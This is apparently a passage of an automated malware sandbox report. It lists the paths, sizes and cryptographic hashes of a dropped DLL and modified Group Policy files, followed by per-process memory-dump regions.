                                                                                                                                                                            de48dea7ff20c3aaf732f343727511125d965ad77c47370ed7aedf86ab33a4a5

                                                                                                                                                                            SHA512

                                                                                                                                                                            ba06dbfe14962976234e45fa0898507a71ee94ca85b07dd9c52abbcc2dfcb55b90bcc3a5c4556fd07b97fefc57e0062a50d62e9253dd3a3bf61b1082ad499d8d

                                                                                                                                                                          • C:\Windows\Temp\IzRZTwSZebgYVSAl\bgdrEXob\HkLsCsS.dll

                                                                                                                                                                            Filesize

                                                                                                                                                                            6.3MB

                                                                                                                                                                            MD5

                                                                                                                                                                            fdcc0ef7b4cb82035c51f55cfece6cf1

                                                                                                                                                                            SHA1

                                                                                                                                                                            ee1d2e870309f5ba05e0216d3ea909c1ae9d8ee4

                                                                                                                                                                            SHA256

                                                                                                                                                                            7c3415f11576e09a0910da101422f044162b11607aa670452843436925d8c26b

                                                                                                                                                                            SHA512

                                                                                                                                                                            05d9e81255dfbd647198b4f9d13c420f3f8d56a235ebbec301d7006597bec72b4bfa0dc7e8e1f76de4e9d16b5e95a9f5c585bbdb4ce5fe98cade2872dffccf3a

                                                                                                                                                                          • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                            Filesize

                                                                                                                                                                            5KB

                                                                                                                                                                            MD5

                                                                                                                                                                            cf7a2c156bf508be1d9a4031b8b648a9

                                                                                                                                                                            SHA1

                                                                                                                                                                            9553695fb442d46f05248a7a7cde76ecadaa64a0

                                                                                                                                                                            SHA256

                                                                                                                                                                            c1d635bf7600e9751bd3ba5a9c9cdbb503ccd3b92040c277e41c3c1b28bd6888

                                                                                                                                                                            SHA512

                                                                                                                                                                            7fa3b27907ffeb4715652d20a4e674bce36ed3fcc7280290dd6d72c523a144c2f87b62487c2b8d4c3808d7e2d6ddb33d036b3171f7692d22488d3dcb487b742a

                                                                                                                                                                          • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                            Filesize

                                                                                                                                                                            268B

                                                                                                                                                                            MD5

                                                                                                                                                                            a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                            SHA1

                                                                                                                                                                            1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                            SHA256

                                                                                                                                                                            9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                            SHA512

                                                                                                                                                                            9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                          • memory/224-14-0x00007FF983970000-0x00007FF984431000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            10.8MB

                                                                                                                                                                          • memory/224-16-0x000002A1B7FD0000-0x000002A1B7FE0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/224-30-0x00007FF983970000-0x00007FF984431000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            10.8MB

                                                                                                                                                                          • memory/224-15-0x000002A1B7FD0000-0x000002A1B7FE0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/224-27-0x000002A1B7FD0000-0x000002A1B7FE0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/224-23-0x000002A1D0800000-0x000002A1D0822000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            136KB

                                                                                                                                                                          • memory/968-96-0x000002A6248D0000-0x000002A6248E0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/968-83-0x00007FF983850000-0x00007FF984311000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            10.8MB

                                                                                                                                                                          • memory/968-84-0x000002A6248D0000-0x000002A6248E0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/968-90-0x000002A6248D0000-0x000002A6248E0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/968-98-0x00007FF983850000-0x00007FF984311000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            10.8MB

                                                                                                                                                                          • memory/1056-10-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            5.9MB

                                                                                                                                                                          • memory/1264-486-0x00000000031D0000-0x000000000325A000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            552KB

                                                                                                                                                                          • memory/1264-504-0x0000000003260000-0x0000000003335000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            852KB

                                                                                                                                                                          • memory/1264-103-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            5.9MB

                                                                                                                                                                          • memory/1264-114-0x0000000002320000-0x00000000023A5000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            532KB

                                                                                                                                                                          • memory/1264-156-0x0000000002850000-0x00000000028B5000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            404KB

                                                                                                                                                                          • memory/1624-43-0x00000000041D0000-0x00000000041F2000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            136KB

                                                                                                                                                                          • memory/1624-42-0x0000000004420000-0x0000000004A48000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            6.2MB

                                                                                                                                                                          • memory/1624-39-0x0000000072EF0000-0x00000000736A0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            7.7MB

                                                                                                                                                                          • memory/1624-40-0x0000000001810000-0x0000000001820000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/1624-41-0x0000000001870000-0x00000000018A6000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            216KB

                                                                                                                                                                          • memory/1624-44-0x0000000004AC0000-0x0000000004B26000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            408KB

                                                                                                                                                                          • memory/1624-61-0x0000000072EF0000-0x00000000736A0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            7.7MB

                                                                                                                                                                          • memory/1624-58-0x0000000001810000-0x0000000001820000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/1624-57-0x00000000053B0000-0x00000000053FC000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            304KB

                                                                                                                                                                          • memory/1624-56-0x00000000051B0000-0x00000000051CE000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            120KB

                                                                                                                                                                          • memory/1624-55-0x0000000004CA0000-0x0000000004FF4000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            3.3MB

                                                                                                                                                                          • memory/1624-47-0x0000000004B30000-0x0000000004B96000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            408KB

                                                                                                                                                                          • memory/3960-499-0x0000000001870000-0x0000000001E58000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            5.9MB

                                                                                                                                                                          • memory/4000-36-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            5.9MB

                                                                                                                                                                          • memory/4544-63-0x0000000072EF0000-0x00000000736A0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            7.7MB

                                                                                                                                                                          • memory/4544-78-0x0000000072EF0000-0x00000000736A0000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            7.7MB

                                                                                                                                                                          • memory/4544-64-0x0000000003A00000-0x0000000003A10000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/4544-65-0x0000000003A00000-0x0000000003A10000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB

                                                                                                                                                                          • memory/4544-77-0x0000000003A00000-0x0000000003A10000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            64KB